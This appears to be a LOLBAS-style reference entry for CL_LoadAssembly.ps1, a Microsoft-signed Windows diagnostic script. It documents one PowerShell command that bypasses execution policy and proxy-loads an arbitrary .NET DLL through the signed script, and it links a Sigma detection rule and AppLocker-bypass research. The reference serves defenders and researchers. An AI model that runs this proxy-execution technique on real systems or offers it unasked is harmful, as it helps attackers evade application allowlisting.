CL_LoadAssembly.ps1

01 / TRADECRAFT

Command reference

1 examples

Execute1

EXAMPLE 01T1216

Proxy execute Managed DLL with PowerShell

COMMAND

powershell.exe -ep bypass -command "set-location -path C:\Windows\diagnostics\system\Audio; import-module .\CL_LoadAssembly.ps1; LoadAssemblyFromPath ..\..\..\..\testing\fun.dll;[Program]::Fun()"

USE CASE: Execute proxied payload with Microsoft signed binary
PRIVILEGES: User
OPERATING SYSTEM: Windows 10 21H1 (likely other versions as well), Windows 11

Execute · DLL (.NET)

02 / ON DISK

Known paths

C:\Windows\diagnostics\system\Audio\CL_LoadAssembly.ps1

03 / DEFENSIVE INTELLIGENCE

Detection & indicators

1 resources

Sigmaproc_creation_win_lolbas_cl_loadassembly.ymlgithub.com

Research & resources

READexecuting commands and bypassing applocker with powershell diagnostic scriptsbohops.com

COMMUNITY RESEARCH

Acknowledgements

Jimmy@bohops